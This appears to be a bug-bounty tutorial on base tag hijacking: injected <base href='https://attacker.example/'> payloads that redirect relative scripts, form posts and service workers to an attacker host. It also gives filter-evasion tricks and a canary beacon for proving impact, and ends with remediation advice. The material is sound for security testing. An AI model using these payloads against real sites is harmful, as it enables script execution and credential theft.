Base Tag Hijacking for Bug Bounty: Relative URL Takeover
A single <base href="https://attacker.example/"> in the document rewrites how relative URLs resolve. Scripts like src="assets/app.js", stylesheet hrefs, form actions, and even some redirect helpers suddenly point at you.
You do not always need full XSS. HTML injection that only allows a limited tag set sometimes still permits base—or an attribute you can twist into one via mXSS or markup smuggling.
Think of base as a document-wide search-and-replace for relative resolution. One early tag quietly retargets dozens of later loads. That leverage is why limited HTML fields still deserve attention after script tags are banned.
Why relative assets make this loud
Modern frontends often assume a stable base. SPAs hosted at https://app.example/tenant/42/ may load static/vendor.js relatively. If your injected base wins, the browser fetches vendor code from the attacker. That is remote script execution without a classic <script> sink on the page itself.
Forms are underrated here. <form action="login"> becomes a cross-origin post to your server. Password managers may still autofill. Report that carefully with owned test accounts only.
Finding injection points
Hunt reflections in:
- Query parameters rendered into early
<head>HTML - Email unsubscribe and marketing pages with weak encoding
- CMS fields that allow "harmless" tags
- PDF or HTML exporters that embed user titles near the top of the document
base must appear before relative loads to affect them. Injection deep in <body> may only influence later resources—still useful for forms and late scripts.
Test both href and weird encodings. Some filters block <base but not <BASE or data with newlines. Others allow the tag but strip http: while leaving //attacker.example/.
Path-relative bases such as href="/static/" are less exciting than absolute attacker hosts, yet they can still shift resolution into an unexpected directory on the same origin. Prove whether that directory serves attacker-controlled files before calling it RCE-adjacent.
Proving impact
Host a canary JS file that beacons document.domain and a marker. Show the vulnerable page requesting https://attacker.example/assets/app.js (or whatever relative path the app uses). If CSP blocks the load, say so—blocked script means the finding may drop to phishing via forms or CSS exfiltration only.
Do you need the victim to be logged in? Usually yes for juicy impact. A public page that loads relative analytics under a hijacked base can still demonstrate script execution on that origin if cookies are present.
Service workers and module scripts loaded with relative URLs inherit the same trap. If the app registers ./sw.js after your base injection, you may persist beyond a single page view—document that carefully and keep the PoC non-destructive.
Remediation talk
Prefer absolute URLs for critical assets, set an explicit <base> early to a trusted host if the app needs one, ban base in HTML allowlists, and deploy CSP script-src that excludes random attacker hosts. Fixing only the reflection without CSP still leaves the next limited-HTML gadget dangerous.
Base hijacking looks like a footnote in XSS lists. On apps stuffed with relative paths, it behaves like a full script gadget. Treat it that way in the write-up.